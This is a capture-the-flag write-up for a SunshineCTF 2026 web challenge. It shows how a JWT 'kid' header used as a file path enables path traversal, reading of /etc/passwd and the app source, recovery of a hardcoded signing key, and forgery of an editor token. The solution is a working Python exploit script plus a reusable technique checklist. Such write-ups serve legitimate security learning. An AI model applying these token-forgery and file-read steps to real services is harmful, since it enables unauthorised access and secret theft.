$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: Flask retro blog issuing an HS256 JWT whose kid header is used as a filesystem path to load the HMAC signing key; admin page needs role=editor. Solution: abuse kid path traversal as LFI, dump /app/app.py via a debug file inspector, recover the hardcoded EDITOR_KEY, then forge an editor JWT to access the Editor's Desk.
Chrome Horizon — a retro blog about the cars of the future. https://kidding.web.2026.sunshinectf.games/
English summary: A Flask blog issues a session cookie token — an HS256 JWT.
The /admin ("Editor's Desk") page renders the flag but only for role: editor;
a normal reader gets 401 "Access Denied". The title "You Are Kidding Me" is a pun
on the JWT kid header. Goal: escalate from reader to editor and read the
Editor's Desk.
1. Recon of the auth flow. POST /login with a name field sets cookie
token, an HS256 JWT:
{"alg":"HS256","kid":"reader.key","typ":"JWT"}{"sub":"reader","role":"reader"}The kid value reader.key looks like a filename, not an opaque key id. This
is the core hint: the server resolves kid to a file on disk and loads its bytes
as the HMAC signing key. By symmetry an editor.key likely exists.
2. kid is a filesystem path (LFI primitive). The /admin error page echoes
back Pass declared key file: <kid>, confirming the header value is treated as a
path. Traversal is not sanitized:
kid=../../../../dev/null → PASS REJECTED :: HMAC key must not be empty.
This proves the server actually reads the referenced file's bytes and uses them
as the key (empty file ⇒ empty key ⇒ rejected).3. Debug file inspector = arbitrary file read. /admin contains a debug
"Pass Inspector" that dumps the contents of the kid-referenced file for most
paths. Only files named reader.key, editor.key, or flag.txt are withheld by
a name filter — everything else is disclosed:
kid=/etc/passwd, kid=/etc/hostname, kid=/proc/self/cmdline (→ python app.py) all dump.kid=/app/app.py → full Flask source code dumped.4. Signing-key disclosure. The leaked /app/app.py hardcodes the editor key:
# --- Prototype signing keys --- # TODO(launch): these belong in the CHROME HORIZON key vault, not baked into the build. READER_KEY = secrets.token_hex(32).encode() # random, per-boot EDITOR_KEY = b'ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0t-sh1p' # static, committed
init_keys() writes both keys to /app/keys/reader.key and /app/keys/editor.key.
The reader key is random each boot, but the editor key is a static, committed
constant — game over.
Forge an editor token: payload {"sub":"editor","role":"editor"}, header
kid="editor.key", HS256-signed with the recovered EDITOR_KEY. Send it as the
token cookie to GET /admin → HTTP 200, and the Editor's Desk renders the flag.
#!/usr/bin/env python3 import re import jwt import requests BASE = "https://kidding.web.2026.sunshinectf.games" # --- Step 1 (recon): read the app source through the kid LFI inspector --------- def read_file(path): # Sign with any key: /admin dumps the kid-referenced file before verifying. tok = jwt.encode( {"sub": "reader", "role": "reader"}, "x", algorithm="HS256", headers={"kid": path}, ) return requests.get(f"{BASE}/admin", cookies={"token": tok}).text source = read_file("/app/app.py") # full Flask source is dumped m = re.search(rb"EDITOR_KEY\s*=\s*b'([^']+)'", source.encode()) editor_key = m.group(1) # recovered hardcoded key bytes print("[+] recovered EDITOR_KEY:", editor_key) # --- Step 2 (forge): mint an editor token signed with the leaked key ---------- tok = jwt.encode( {"sub": "editor", "role": "editor"}, editor_key, algorithm="HS256", headers={"kid": "editor.key"}, # points at the on-disk editor key ) r = requests.get(f"{BASE}/admin", cookies={"token": tok}) print("[+] status:", r.status_code) flag = re.search(r"sun\{[^}]*\}", r.text) # flag rendered on the Editor's Desk print("[+] flag:", flag.group(0) if flag else "(see response)") # Successful result: sun{REDACTED}
Minimal reproduction (once EDITOR_KEY is known):
import jwt, requests key = b'ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0t-sh1p' tok = jwt.encode({"sub": "editor", "role": "editor"}, key, algorithm="HS256", headers={"kid": "editor.key"}) r = requests.get("https://kidding.web.2026.sunshinectf.games/admin", cookies={"token": tok})
alg=none / alg=None / alg=NONE — all rejected by the verifier.kid=/dev/null — rejected with "HMAC key must not be empty"
(unlike some kid-traversal challenges, an empty key does not bypass here).flag.txt, reader.key, or editor.key directly through the inspector —
blocked by a filename filter. The source file /app/app.py is not filtered,
which is what leaks the key instead.Use this technique when:
kid header contains a value that looks like a filename or path
(e.g. reader.key), not a random UUID/thumbprint.kid is dereferenced on the filesystem.kid=/dev/null or kid=../../../../dev/null changes behavior to an
"empty key" error, proving file bytes are loaded as the HMAC key.kid paths — turn it
into LFI and read /app/app.py (or the framework entrypoint) to leak secrets.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar